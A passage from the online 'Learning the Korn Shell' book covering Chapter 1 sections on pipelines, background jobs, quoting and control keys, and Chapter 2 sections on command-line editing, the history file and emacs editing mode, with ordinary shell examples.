Now you should see how I/O directors and pipelines support the UNIX building block philosophy. The notation is extremely terse and powerful. Just as important, the pipe concept eliminates the need for messy temporary files to store output of commands before it is fed into other commands.

For example, to do the same sort of thing as the above command line on other operating systems (assuming that equivalent utilities were available...), you would need three commands. On DEC's VAX/VMS system, they might look like this:

$ cut [etc]passwd /d=":" /f=1 /out=temp1
$ sort temp1 /out=temp2
$ print temp2

After sufficient practice, you will find yourself routinely typing in powerful command pipelines that do in one line what it would take several commands (and temporary files) in other operating systems to accomplish.

Previous: 1.6 Files | Learning the Korn Shell | Next: 1.8 Background Jobs
1.6 Files | Book Index | 1.8 Background Jobs
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 1] 1.8 Background Jobs

Learning the Korn Shell

Learning the Korn ShellSearch this book
Previous: 1.7 Input and Output Chapter 1
Korn Shell Basics 		Next: 1.9 Special Characters and Quoting

1.8 Background Jobs

Pipes are actually a special case of a more general feature: doing more than one thing at a time. This is a capability that many other commercial operating systems don't have, because of the rigid limits that they tend to impose upon users. UNIX, on the other hand, was developed in a research lab and meant for internal use, so it does relatively little to impose limits on the resources available to users on a computer-as usual, leaning towards uncluttered simplicity rather than overcomplexity.

"Doing more than one thing at a time" means running more than one program at the same time. You do this when you invoke a pipeline; you can also do it by logging on to a UNIX system as many times simultaneously as you wish. (If you try that on an IBM VM/CMS system, for example, you will get an obnoxious "already logged in" message.)

The shell also lets you run more than one command at a time during a single login session. Normally, when you type a command and hit RETURN, the shell will let the command have control of your terminal until it is done; you can't type in further commands until the first one is done. But if you want to run a command that does not require user input and you want to do other things while the command is running, put an ampersand (&) after the command.

This is called running the command in the background, and a command that runs in this way is called a background job; for contrast, a job run the normal way is called a foreground job. When you start a background job, you get your shell prompt back immediately, enabling you to enter other commands.

The most obvious use for background jobs is programs that take a long time to run, such as sort or uncompress on large files. For example, assume you just got an enormous compressed file loaded into your directory from magnetic tape. Compressed files are created by the compress utility, which packs files into smaller amounts of space; they have names of the form filename.Z, where filename is the name of the original uncompressed file. Let's say the file is gcc.tar.Z, which is a compressed archive file that contains well over 10 MB of source code files.

Type uncompress gcc.tar & (you can omit the .Z), and the system will start a job in the background that uncompresses the data "in place" and ends up with the file gcc.tar. Right after you type the command, you will see a line like this:

[1]     4692

followed by your shell prompt, meaning that you can enter other commands. Those numbers give you ways of referring to your background job; Chapter 8 explains them in detail.

You can check on background jobs with the command jobs. For each background job, jobs prints a line similar to the above but with an indication of the job's status:

[1]  +  Running                 uncompress gcc.tar

When the job finishes, you will see a message like this right before your shell prompt:

[1] +  Done                     uncompress gcc.tar

The message changes if your background job terminated with an error; again, see Chapter 8 for details.

1.8.1 Background I/O

Jobs you put in the background should not do I/O to your terminal. Just think about it for a moment and you'll understand why.

By definition, a background job doesn't have control over your terminal. Among other things, this means that only the foreground process (or, if none, the shell itself) is "listening" for input from your keyboard. If a background job needs keyboard input, it will often just sit there doing nothing until you do something about it (as described in Chapter 8).

If a background job produces screen output, the output will just appear on your screen. If you are running a job in the foreground that produces output too, then the output from the two jobs will be randomly (and often annoyingly) interspersed.

If you want to run a job in the background that expects standard input or produces standard output, the obvious solution is to redirect it so that it comes from or goes to a file. The only exception is that some programs produce small, one-line messages (warnings, "done" messages, etc.); you may not mind if these are interspersed with whatever other output you are seeing at a given time.

For example, the diff utility examines two files, whose names are given as arguments, and prints a summary of their differences on the standard output. If the files are exactly the same, diff is silent. Usually, you invoke diff expecting to see a few lines that are different.

diff, like sort and compress, can take a long time to run if the input files are very large. Suppose you have two large files that are called warandpeace.wp and warandpeace.wp.old. The command diff warandpeace.wp warandpeace.wp.old [9] reveals that the author decided to change the name "Ivan" to "Aleksandr" throughout the entire file-i.e., hundreds of differences, resulting in large amounts of output.

[9] You could use diff warandpeace* as a shorthand to save typing-as long as there are no other files with names of that form. Remember that diff doesn't see the arguments until after the shell has expanded the wildcards. Many people overlook this use of wildcards.

If you type diff warandpeace.wp warandpeace.wp.old &, then the system will spew lots and lots of output at you, which it will be very difficult to stop-even with the techniques explained in Chapter 7. However, if you type:

$ diff warandpeace.wp warandpeace.wp.old > wpdiff &

then the differences will be saved in the file wpdiff for you to examine later.

1.8.2 Background Jobs and Priorities

Background jobs can save you a lot of thumb-twiddling time (or can help you diet by eliminating excuses to run to the candy machine). Just remember that such jobs eat up lots of system resources like memory and the processor (CPU). Just because you're running several jobs at once doesn't mean that they will run faster than they would if run sequentially-in fact, it's usually worse.

Every job on the system is assigned a priority, a number that tells the operating system how much priority to give the job when it doles out resources (the higher the number, the lower the priority). Foreground commands that you enter from the shell usually have the same, standard priority. But background jobs, by default, have lower priority. [10]

[10] This feature was borrowed from the C shell; it is not present in most Bourne shells.

You'll find out in Chapter 3 how you can override this priority assignment so that background jobs run at the same priority as foreground jobs. However, if you're on a multiuser system, then running lots of background jobs may eat up more than your fair share of resources, and you should consider whether having your job run as fast as possible is really more important than being a good citizen.

1.8.2.1 nice

Speaking of good citizenship, there is also a shell command that lets you lower the priority of any job: the aptly-named nice. If you type nice command, where command can be a complex shell command line with pipes, redirectors, etc., then the command will run at a lower priority. You can control just how much lower by giving nice a numerical argument; consult the man page for details. [11]

[11] If you are a system administrator logged in as root, then you can also use nice to raise a job's priority.

Previous: 1.7 Input and Output | Learning the Korn Shell | Next: 1.9 Special Characters and Quoting
1.7 Input and Output | Book Index | 1.9 Special Characters and Quoting
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 1] 1.9 Special Characters and Quoting

Learning the Korn Shell

Learning the Korn ShellSearch this book
Previous: 1.8 Background Jobs Chapter 1
Korn Shell Basics 		Next: 2. Command-line Editing

1.9 Special Characters and Quoting

The characters <, >, |, and & are four examples of special characters that have particular meanings to the shell. The wildcards we saw earlier in this chapter (*, ?, and [...]) are also special characters.

Table 1.6 gives indications of the meanings of all special characters within shell command lines only. Other characters have special meanings in specific situations, such as the regular expressions and string-handling operators we'll see in Chapter 3 and Chapter 4.

Table 1.6: Special Characters
Character | Meaning | See Chapter
~ | Home directory | 1
lsquo; | Command substitution (archaic) | 4
# | Comment | 4
$ | Variable expression | 3
& | Background job | 1
* | String wildcard | 1
( | Start subshell | 8
) | End subshell | 8
\ | Quote next character | 1
| | Pipe | 1
[ | Start character-set wildcard | 1
] | End character-set wildcard | 1
{ | Start code block | 7
} | End code block | 7
; | Shell command separator | 3
' | Strong quote | 1
" | Weak quote | 1
< | Input redirect | 1
> | Output redirect | 1
/ | Pathname directory separator | 1
? | Single-character wildcard | 1

1.9.1 Quoting

Sometimes you will want to use special characters literally, i.e., without their special meanings. This is called quoting. If you surround a string of characters with single quotes, you strip all characters within the quotes of any special meaning they might have.

The most obvious situation where you might need to quote a string is with the print command, which just takes its arguments and prints them to the standard output. What is the point of this? As you will see in later chapters, the shell does quite a bit of processing on command lines - most of which involves some of the special characters listed in Table 1.6. print is a way of making the result of that processing available on the standard output.

But what if we wanted to print the string, 2 * 3 > 5 is a valid inequality? Suppose you typed this:

$ print 2 * 3 > 5 is a valid inequality.

You would get your shell prompt back, as if nothing happened! But then there would be a new file, with the name 5, containing "2", the names of all files in your current directory, and then the string 3 is a valid inequality. Make sure you understand why. [12]

[12] This should also teach you something about the flexibility of placing I/O redirectors anywhere on the command line-even in places where they don't seem to make sense.

However, if you type:

$ print '2 * 3 > 5 is a
valid inequality.'

the result is the string, taken literally. You needn't quote the entire line, just the portion containing special characters (or characters you think might be special, if you just want to be sure):

$ print '2 * 3 > 5' is a valid inequality.

This has exactly the same result.

Notice that Table 1.6 lists double quotes (") as weak quotes. A string in double quotes is subjected to some of the steps the shell takes to process command lines, but not all. (In other words, it treats only some special characters as special.) You'll see in later chapters why double quotes are sometimes preferable; Chapter 7 contains the most comprehensive explanation of the shell's rules for quoting and other aspects of command-line processing. For now, though, you should stick to single quotes.

1.9.2 Backslash-escaping

Another way to change the meaning of a character is to precede it with a backslash (\). This is called backslash-escaping the character. In most cases, when you backslash-escape a character, you quote it. For example:

$ print 2 \* 3 \> 5 is a valid inequality.

will produce the same results as if you surrounded the string with single quotes. To use a literal backslash, just surround it with quotes ('\') or, even better, backslash-escape it (\\).

Here is a more practical example of quoting special characters. A few UNIX commands take arguments that often include wildcard characters, which need to be escaped so the shell doesn't process them first. The most common such command is find, which searches for files throughout entire directory trees.

To use find, you supply the root of the tree you want to search and arguments that describe the characteristics of the file(s) you want to find. For example, the command find . -name string searches the directory tree whose root is your current directory for files whose names match the string. (Other arguments allow you to search by the file's size, owner, permissions, date of last access, etc.)

You can use wildcards in the string, but you must quote them, so that the find command itself can match them against names of files in each directory it searches. The command find . -name '*.c' will match all files whose names end in .c anywhere in your current directory, subdirectories, sub-subdirectories, etc.

1.9.3 Quoting Quotation Marks

You can also use a backslash to include double quotes within a quoted string. For example:

$ print \"2 \* 3 \> 5\" is a valid inequality.

produces the following output:

"2 * 3 > 5" is a valid inequality.

However, this won't work with single quotes inside quoted expressions. For example, print 'Bob\'s hair is brown' will not give you Bob's hair is brown. You can get around this limitation in various ways. First, try eliminating the quotes:

$ print Bob\'s hair is brown

If no other characters are special (as is the case here), this works. Otherwise, you can use the following command:

$ print 'Bob'\''s hair is brown'

That is, '\'' (i.e., single quote, backslash, single quote, single quote) acts like a single quote within a quoted string. Why? The first ' in '\'' ends the quoted string we started with (' Bob), the \' inserts a literal single quote, and the next ' starts another quoted string that ends with the word "brown". If you understand, then you will have no trouble resolving the other bewildering issues that arise from the shell's often cryptic syntax.

1.9.4 Continuing Lines

A related issue is how to continue the text of a command beyond a single line on your terminal or workstation window. The answer is conceptually simple: just quote the RETURN key. After all, RETURN is really just another character.

You can do this in two ways: by ending a line with a backslash, or by not closing a quote mark (i.e., by including RETURN in a quoted string). If you use the backslash, there must be nothing between it and the end of the line-not even spaces or TABs.

Whether you use a backslash or a single quote, you are telling the shell to ignore the special meaning of the RETURN character. After you press RETURN, the shell understands that you haven't finished your command line (i.e., since you haven't typed a "real" RETURN), so it responds with a secondary prompt, which is > by default, and waits for you to finish the line. You can continue a line as many times as you wish.

For example, if you want the shell to print the first sentence of Thomas Hardy's The Return of the Native, you can type this:

$ print A Saturday afternoon in November was approaching the \
> time of twilight, and the vast tract of unenclosed wild known \
> as Egdon Heath embrowned itself moment by moment.

Or you can do it this way:

$ print ' A Saturday afternoon in November was approaching the
> time of twilight, and the vast tract of unenclosed wild known
> as Egdon Heath embrowned itself moment by moment.'

1.9.5 Control Keys

Control keys-those that you type by holding down the CONTROL (or CTRL) key and hitting another key-are another type of special character. These normally don't print anything on your screen, but the operating system interprets a few of them as special commands. You already know one of them: RETURN is actually the same as [CTRL-M] (try it and see). You have probably also used the BACKSPACE or DEL key to erase typos on your command line.

Actually, many control keys have functions that don't really concern you-yet you should know about them for future reference and in case you type them by accident.

Perhaps the most difficult thing about control keys is that they can differ from system to system. The usual arrangement is shown in Table 1.7 which lists the control keys that all major modern versions of UNIX support. Note that [CTRL-\] and [CTRL-|] (control-backslash and control-pipe) are the same character notated two different ways; the same is true of DEL and [CTRL-?].

You can use the stty command to find out what your settings are and change them if you wish; see Chapter 8 for details. If the version of UNIX on your system is one of those that derive from BSD (such as SunOS and Ultrix), type stty all to see your control-key settings; you will see something like this:

erase  kill   werase rprnt  flush  lnext  susp   intr   quit   stop   eof
^?     ^U     ^W     ^R     ^O     ^V     ^Z/^Y  ^C     ^|     ^S/^Q  ^D

Table 1.7: Control Keys
Control Key | stty Name | Function Description
CTRL-C | intr | Stop current command
CTRL-D | eof | End of input
[CTRL-\] or [CTRL-|] | quit | Stop current command, if [CTRL-C] doesn't work
CTRL-S | stop | Halt output to screen
CTRL-Q |  | Restart output to screen
DEL or [CTRL-?] | erase | Erase last character
CTRL-U | kill | Erase entire command line
CTRL-Z | susp | Suspend current command (see Chapter 8)

The ^X notation stands for CTRL-X. If your UNIX version derives from System III or System V (this includes AIX, HP/UX, SCO, and Xenix), type stty -a; the resulting output will include this information:

intr = ^c; quit = ^|; erase = DEL; kill = ^u; eof = ^d; eol = ^`; swtch = ^`
susp = ^z; dsusp <undef>;

The control key you will probably use most often is [CTRL-C], sometimes called the interrupt key. This stops-or tries to stop-the command that is currently running. You will want to use this when you enter a command and find that it's taking too long, you gave it the wrong arguments by mistake, you change your mind about wanting to run it, or whatever.

Sometimes [CTRL-C] doesn't work; in that case, if you really want to stop a job, try [CTRL-\]. But don't just type CTRL-\; always try [CTRL-C] first! Chapter 8 explains why in detail. For now, suffice it to say that [CTRL-C] gives the running job more of a chance to clean up before exiting, so that files and other resources are not left in funny states.

We've already seen an example of [CTRL-D]. When you are running a command that accepts standard input from your keyboard, [CTRL-D] tells the process that your input is finished-as if the process were reading a file and it reached the end of the file. mail is a utility in which this happens often. When you are typing in a message, you end by typing [CTRL-D]. This tells mail that your message is complete and ready to be sent. Most utilities that accept standard input understand [CTRL-D] as the end-of-input character, though many such programs accept commands like q, quit, exit, etc. The shell itself understands [CTRL-D] as the end-of-input character: as we saw earlier in this chapter, you can normally end a login session by typing [CTRL-D] at the shell prompt. You are just telling the shell that its command input is finished.

CTRL-S and [CTRL-Q] are called flow-control characters. They represent an antiquated way of stopping and restarting the flow of output from one device to another (e.g., from the computer to your terminal) that was useful when the speed of such output was low. They are rather obsolete in these days of high-speed local networks and dialup lines. In fact, under the latter conditions, CTRL-S and [CTRL-Q] are basically a nuisance. The only thing you really need to know about them is that if your screen output becomes "stuck," then you may have hit [CTRL-S] by accident. Type [CTRL-Q] to restart the output; any keys you may have hit in between will then take effect.

The final group of control characters gives you rudimentary ways to edit your command line. DEL acts as a backspace key (in fact, some systems use the actual BACKSPACE or [CTRL-H] key as "erase" instead of DEL); [CTRL-U] erases the entire line and lets you start over. Again, these are outmoded. [13] Instead of using these, go to the next chapter and read about Korn shell's editing modes, which are among its most exciting features.

[13] Why are so many outmoded control keys still in use? They have nothing to do with the shell per se; instead, they are recognized by the tty driver, an old and hoary part of the operating system's lower depths that controls input and output to/from your terminal.

Previous: 1.8 Background Jobs | Learning the Korn Shell | Next: 2. Command-line Editing
1.8 Background Jobs | Book Index | 2. Command-line Editing
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 2] Command-line Editing

Learning the Korn Shell

Learning the Korn ShellSearch this book
Previous: 1.9 Special Characters and Quoting Chapter 2 Next: 2.2 The History File

2. Command-line Editing

Contents:
Enabling Command-line Editing
The History File
Emacs Editing Mode
Vi Editing Mode
The fc Command
Finger Habits

It's always possible to make mistakes when you type at a computer keyboard, but perhaps even more so when you are using a UNIX shell. UNIX shell syntax is powerful, yet terse, full of odd characters, and not particularly mnemonic, making it possible to construct command lines that are as cryptic as they are complex. The Bourne and C shells exacerbate this situation by giving you extremely limited ways of editing your command lines.

In particular, there is no way to recall a previous command line so that you can fix a mistake. For example, in Chapter 7, Input/Output and Command-line Processing we'll see complex command lines like:

$ eval cat $srcname | ccom | as | optimize > $objname

If you are an experienced Bourne shell user, undoubtedly you know the frustration of having to retype lines like this. You can use the backspace key to edit, but once you hit RETURN, it's gone forever!

The C shell provided a small improvement via its history mechanism, which provides a few very awkward ways of editing previous commands. But there are more than a few people who have wondered, "Why can't I edit my UNIX command lines in the same way I can edit text with an editor?"

This is exactly what the Korn shell allows you to do. It has editing modes that allow you to edit command lines with editing commands similar to those of the two most popular UNIX editors, vi and emacs. [1] It also provides a much-extended analog to the C shell history mechanism called fc (for fix command) that, among other things, allows you to use your favorite editor directly for editing your command lines.

[1] For some unknown reason, the documentation on emacs-mode has been removed from ksh(1) manual pages on some UNIX systems. This does not mean, however, that the mode doesn't exist or doesn't work properly.

In this chapter, we will discuss features common to all of the Korn shell's command-history facilities; then we will deal with each such facility in detail. If you use vi or emacs, you may wish to read only the section on the emulation mode for the one you use. [2] If you use neither vi or emacs, but are interested in learning one of the editing modes anyway, we suggest emacs-mode, because it is more of a natural extension of the minimal editing capability you get with the bare shell.

[2] You will get the most out of these sections if you are already familiar with the editor(s) in question. Good sources for more complete information on the editors are the O'Reilly & Associates Nutshell Handbooks Learning the vi Editor, by Linda Lamb, and Learning GNU Emacs, by Debra Cameron and Bill Rosenblatt.

We should mention up front that both emacs- and vi-modes introduce the potential for clashes with control keys set up by the UNIX terminal interface. Recall the control keys shown in Chapter 1, Korn Shell Basics in Table 1.7 and the sample stty command output. The control keys shown there override their functions in the editing modes.

During the rest of this chapter, we'll warn you when an editing command clashes with the default setting of a terminal-interface control key. But if you (or your system administrator) choose to customize your terminal interface, as we'll show in Chapter 8, Process Handling you're on your own as far as the editing modes are concerned.

2.1 Enabling Command-line Editing

There are two ways of entering either editing mode. First, you can set your editing mode by using the environment variable VISUAL. The Korn shell checks to see if this variable ends with vi or macs. [3] An excellent way to set VISUAL is to put a line like the following in your .profile or environment file:

[3] GNU Emacs is often installed as gmacs or gnumacs.

VISUAL=$(whence emacs)

or

VISUAL=$(whence vi)

As you will find out in Chapter 3, Customizing Your Environment and Chapter 4, Basic Shell Programming the whence built-in command takes the name of another command as its argument and writes the command's full pathname on the standard output; the form $(command) returns the standard output generated by command as a string value. Thus, the line above finds out the full pathname of your favorite editor and stores it in the environment variable VISUAL. The advantage of this code is that it is portable to other systems, which may have the executables for editors stored in different directories.

The second way of selecting an editing mode is to set the option explicitly with the set -o command:

$ set -o emacs

or

$ set -o vi

You will find that the vi- and emacs-editing modes are good at emulating the basic commands of these editors but not their advanced features; their main purpose is to let you transfer "finger habits" from your favorite editor to the shell. fc is quite a powerful facility; it is mainly meant to supplant C shell history and as an "escape hatch" for users of editors other than vi or emacs. Therefore the section on fc is mainly recommended to C shell users and those who don't use either standard editor.

Previous: 1.9 Special Characters and Quoting | Learning the Korn Shell | Next: 2.2 The History File
1.9 Special Characters and Quoting | Book Index | 2.2 The History File
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 2] 2.2 The History File

Learning the Korn Shell

Learning the Korn ShellSearch this book
Previous: 2.1 Enabling Command-line Editing Chapter 2
Command-line Editing 		Next: 2.3 Emacs Editing Mode

2.2 The History File

All of the Korn shell's command history facilities depend on a file that contains commands as you type them in. This file is normally .sh_history in your home directory, but you can call it whatever you like by setting the environment variable HISTFILE (see Chapter 3). When you run one of the Korn shell's editing modes, you are actually running a mini-editor on your history file.

If you run more than one login session at a time (e.g., more than one xterm on an X Windows workstation), you may find it advantageous to maintain a separate history file for each login session. Put the following line in your .profile:

HISTFILE=~/.hist$$

This creates a history file whose name begins with .hist and ends with a number that is essentially guaranteed to be unique; see Chapter 8 for an explanation of why .hist$$ generates a unique name. Unfortunately, if you do this, you will end up with lots of stray history files hanging around. One way to clean up the unneeded history files is to clean up after yourself at logout time, as explained in Chapter 4. Another way is to put an entry in your personal crontab file (see the man page crontab(1)) [4] that removes all history files every day at some benign time like 2 A.M. The following line will do it:

[4] Some versions of UNIX do not support personal crontab files, though all versions derived from AT&T System V should. If yours does not, you have two options: either use at with a script that reschedules itself at the end, or ask your system administrator to put an appropriate command in the system's crontab file.

0 2 * * * rm ~/.hist*

Another environment variable, HISTSIZE, can be used to determine the maximum number of commands kept in the history file. The default is 128 (i.e., the 128 most recent commands), which should be more than adequate.

Previous: 2.1 Enabling Command-line Editing | Learning the Korn Shell | Next: 2.3 Emacs Editing Mode
2.1 Enabling Command-line Editing | Book Index | 2.3 Emacs Editing Mode
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 2] 2.3 Emacs Editing Mode

Learning the Korn Shell

Learning the Korn ShellSearch this book
Previous: 2.2 The History File Chapter 2
Command-line Editing 		Next: 2.4 Vi Editing Mode

2.3 Emacs Editing Mode

If you are an emacs user, you will find it most useful to think of emacs editing mode as a simplified, non-customizable [5] emacs with a single, one-line window. All of the basic commands are available for cursor motion, cut and paste, and search.

[5] The public domain Korn shell and bash have emacs-modes that are customizable. See Appendix A, Related Shells.

2.3.1 Basic Commands

Emacs-mode uses control keys for the most basic editing functions. If you aren't familiar with emacs, you can think of these as extensions of the rudimentary "erase" character (usually backspace or DEL) that UNIX provides through its interface to users' terminals. In fact, emacs-mode figures out what your erase character is and uses that as its delete-backward key. For the sake of consistency, we'll assume your erase character is DEL from now on; if it is [CTRL-H] or something else, you will need to make a mental substitution. The most basic control-key commands are shown in Table 2.1.

NOTE: (Important: remember that typing [CTRL-D] when your command line is empty may log you off!)

The basic finger habits of emacs-mode are easy to learn, but they do require that you assimilate a couple of concepts that are peculiar to the emacs editor.

The first of these is the use of [CTRL-B] and [CTRL-F] for backward and forward cursor motion. These keys have the advantage of being obvious mnemonics, but many people would rather use the arrow keys that are on just about every keyboard nowadays.

Table 2.1: Basic emacs-mode Commands
Command | Description
[CTRL-B] | Move backward one character (without deleting)
[CTRL-F] | Move forward one character
DEL | Delete one character backward
[CTRL-D] | Delete one character forward
[CTRL-Y] | Retrieve ("yank") last item deleted

Unfortunately, emacs-mode doesn't use the arrow keys, because the codes that they transmit to the computer aren't completely standardized; emacs-mode was designed to work on the widest variety of terminals possible without needing to do the kind of heavy-duty customization that the full emacs does. Just about the only hardware requirement of emacs-mode is that the SPACE character overwrite the character on top of which it is typed.

In emacs-mode, the point (sometimes also called dot) is an imaginary place just to the left of the character the cursor is on. In the command descriptions in Table 2.1, some say "forward" while others say "backward." Think of forward as "to the right of point" and backward as "to the left of point."

For example, let's say you type in a line and, instead of typing RETURN, you type [CTRL-B] and hold it down so that it repeats. The cursor will move to the left until it is over the first character on the line, like this:

$ fgrep -l Bob < ~pete/wk/names

Now the cursor is on the f, and point is at the beginning of the line, just before the f. If you type DEL, nothing will happen because there are no characters to the left of point. However, if you press [CTRL-D] (the "delete character forward" command) you will delete the first letter:

$ grep -l Bob < ~pete/wk/names

Point is still at the beginning of the line. If this were the desired command, you could hit RETURN now and run it; you don't need to move the cursor back to the end of the line. However, if you wanted to, you could type [CTRL-F] repeatedly to get there:

$ grep -l Bob < ~pete/wk/names

At this point, typing [CTRL-D] wouldn't do anything, but hitting DEL would erase the final s. If you type DEL and decide you want the s back again, just press [CTRL-Y] to yank it back. If you think this example is silly, you're right in this particular case, but bear in mind that [CTRL-Y] undoes the last delete command of any kind, including the delete-word and delete-line commands that we will see shortly. [6]

[6] emacs users should note that this usage of [CTRL-Y] is different from the full editor, which doesn't save character deletes.

2.3.2 Word Commands

The basic commands are really all you need to get around a command line, but a set of more advanced commands lets you do it with fewer keystrokes. These commands operate on words rather than single characters; emacs-mode defines a word to be a sequence of one or more alphanumeric characters.

The word commands are shown in Table 2.2. Whereas the basic commands are all single characters, these consist of two keystrokes, ESC followed by a letter. You will notice that the command ESC X, where X is any letter, often does for a word what [CTRL-]X does for a single character. The multiplicity of choices for delete-word-backward arises from the fact that your erase character could be either [CTRL-H] or DEL.

Table 2.2: Emacs-mode Word Commands
Command | Description
ESC b | Move one word backward
ESC f | Move one word forward
ESC DEL | Delete one word backward
ESC h | Delete one word backward
ESC [CTRL-H] | Delete one word backward
ESC d | Delete one word forward

To return to our example: if we type ESC b, point will move back a word. Since / is not an alphanumeric character, emacs-mode will stop there:

$ grep -l Bob < ~pete/wk/names

The cursor is on the n in names, and point is between the / and the n. Now let's say we want to change the -l option of this command from Bob to Dave. We need to move back on the command line, so we type ESC b two more times. This gets us here:

$ grep -l Bob < ~pete/wk/names

If we type ESC b again, we end up at the beginning of Bob:

$ grep -l Bob < ~pete/wk/names

Why? Remember that a word is defined as a sequence of alphanumeric characters only; therefore < is not a word, and the next word in the backward direction is Bob. We are now in the right position to delete Bob, so we type ESC d and get:

$ grep -l  < ~pete/wk/names

Now we can type in the desired argument:

$ grep -l Dave < ~pete/wk/names

The [CTRL-Y] "undelete" command will retrieve an entire word, instead of a character, if the word was the last thing deleted.

2.3.3 Line Commands

There are still more efficient ways of moving around a command line in emacs-mode. A few commands deal with the entire line; they are shown in Table 2.3.

Table 2.3: Emacs-mode Line Commands
Command | Description
[CTRL-A] | Move to beginning of line
[CTRL-E] | Move to end of line
[CTRL-K] | Delete ("kill") forward to end of line
[CTRL-C] | Capitalize character after point

[CTRL-C] is often the "interrupt" key that UNIX provides through its interface to your terminal. If this is the case, [CTRL-C] in emacs-mode will erase the entire line, as if [CTRL-A] and [CTRL-K] were pressed. On systems where the interrupt key is set to something else (often DEL), [CTRL-C] capitalizes the current character.

Using [CTRL-A], [CTRL-E], and [CTRL-K] should be straightforward. Remember that [CTRL-Y] will always undelete the last thing deleted; if you use [CTRL-K], that could be quite a few characters.

2.3.4 Moving Around in the History File

Now we know how to get around the command line efficiently and make changes. But that doesn't address the original issue of recalling previous commands by accessing the history file. Emacs-mode has several commands for doing this, summarized in Table 2.4.

Table 2.4: Emacs-mode Commands for Moving Through the History File
Command | Description
[CTRL-P] | Move to previous line
[CTRL-N] | Move to next line
[CTRL-R] | Search backward
ESC < | Move to first line of history file
ESC > | Move to last line of history file

[CTRL-P] is by far the one you will use most often-it's the "I made a mistake, let me go back and fix it" key. You can use it as many times as you wish to scroll back through the history file. If you want to get back to the last command you entered, you can hold down [CTRL-N] until the Korn shell beeps at you, or just type ESC >. As an example, you hit RETURN to run the command above, but you get an error message telling you that your option letter was incorrect. You want to change it without retyping the whole thing. First, you would type [CTRL-P] to recall the bad command. You get it back with point at the end:

$ grep -l Dave < ~pete/wk/names

After [CTRL-A], ESC f, two [CTRL-F]s, and [CTRL-D], you have:

$ grep - Dave < ~pete/wk/names

You decide to try -s instead of -l, so you type s and hit RETURN. You get the same error message, so you give up and look it up in the manual. You find out that the command you want is fgrep-not grep-after all. You sigh heavily and go back and find the fgrep command you typed in an hour ago. To do this, you type [CTRL-R]; whatever was on the line will disappear and be replaced by ^R. Then type fgrep, and you will see this:

$ ^Rfgrep

Hit RETURN, and the shell will search backwards through the history file for a line containing "fgrep". If it doesn't find one, it will beep. But if it finds one, it will display it, and your "current line" will be that line (i.e., you will be somewhere in the middle of the history file, not at the end as usual):

$ fgrep -l Bob < ~pete/wk/names

Typing [CTRL-R] without an argument (i.e., just [CTRL-R] followed by RETURN) causes the shell to repeat your last backward search. If you try the fgrep command by hitting RETURN again, two things will happen. First, of course, the command will run. Second, this line will be entered into the history file at the end, and your "current line" will be at the end as well. You will no longer be in the middle of the history file. [CTRL-R] may not work properly on some versions of UNIX, because it is also the default setting for the "reprint" function of the terminal interface. (It works correctly on all the versions we've tried.) If you press [CTRL-R] and see the command line reprinted, you may want to consider changing the terminal interface's "reprint" key. See the section on stty in Chapter 8.

[CTRL-P] and [CTRL-R] are clearly the most important emacs-mode commands that deal with the history file; you might use [CTRL-N] occasionally. The others are less useful, and we suspect that they were mainly included for compatibility with the full emacs editor.

emacs users should also note that the full editor's "deluxe" search capabilities, such as incremental and regular expression search, are not available in the Korn shell's emacs-mode - with one minor exception: if you use [CTRL-R] and precede your search string with a ^ (caret character), it will match only commands that have the search string at the beginning of the line.

2.3.5 Filename Completion and Expansion

One of the most powerful (and typically underused) features of emacs-mode is its filename completion facility, inspired by similar features in the full emacs editor, the C shell, and (originally) the old DEC TOPS-20 operating system.

The premise behind filename completion is that when you need to type a filename, you should not have to type more than is necessary to identify the file unambiguously. This is an excellent feature; there is an analogous one in vi-mode. We recommend that you get it under your fingers, since it will save you quite a bit of typing.

There are three commands in emacs-mode that relate to filename completion. The most important is ESC ESC. [7] When you type in a word of text followed by ESC ESC, the Korn shell will attempt to complete the name of a file in the current directory. Then one of four things can happen:

[7] emacs users can think of this as analogous to minibuffer completion with the TAB key.

  1. If there is no file whose name begins with the word, the shell will beep and nothing further will happen.

  2. If there is exactly one way to complete the filename and the file is a regular file, the shell will type the rest of the filename and follow it with a space so you can type in more command arguments.

  3. If there is exactly one way to complete the filename and the file is a directory, the shell will complete the filename and follow it with a slash.

  4. If there is more than one way to complete the filename, the shell will complete out to the longest common prefix among the available choices.

For example, assume you have a directory with the files program.c and problem.c. You want to compile the first of these by typing cc program.c. You type cc pr followed by ESC ESC. This is not an unambiguous prefix, since the prefix "pro" is common to both filenames, so the shell only completes out to cc pro. You need to type more letters to disambiguate, so you type g and hit ESC ESC again. Then the shell completes out to "cc program.c ", leaving the extra space for you to type in other filenames or options.

A related command is ESC *, which expands the prefix to all possible choices. ESC * acts like the standard * shell wildcard character except that it expands the choices for you to see and does not execute the command. In the above example, if you type ESC * instead of ESC ESC, the shell will expand to "cc problem.c program.c ". If you type ESC = instead of ESC *, you will see a numbered list of expansions printed to standard error.

2.3.6 Miscellaneous Commands

Several miscellaneous commands complete emacs editing mode; they are shown in Table 2.5.

Table 2.5: Emacs-mode Miscellaneous Commands
Command | Description
[CTRL-J] | Same as RETURN
[CTRL-L] | Redisplay the line
[CTRL-M] | Same as RETURN
[CTRL-O] | Same as RETURN, then display next line in history file
[CTRL-T] | Transpose two characters to the right of point and move point forward by one[8]
[CTRL-U] | Repeat the following command four times
[CTRL-V] | Print the version of the Korn shell
[CTRL-W] | Delete ("wipe") all characters between point and "mark". "Mark" is discussed later in this section.
[CTRL-X] [CTRL-X] | Exchange point and mark
[CTRL-][ | Same as ESC (most keyboards)
[CTRL-]] x | Search forward on current line for x, where x is any character
ESC | Change word after point to all capital letters
ESC l | Change word after point to all lowercase letters
ESC p | Save all characters between point and mark as if they were deleted
ESC . | Insert last word in previous command line after point
ESC _ | Same as above
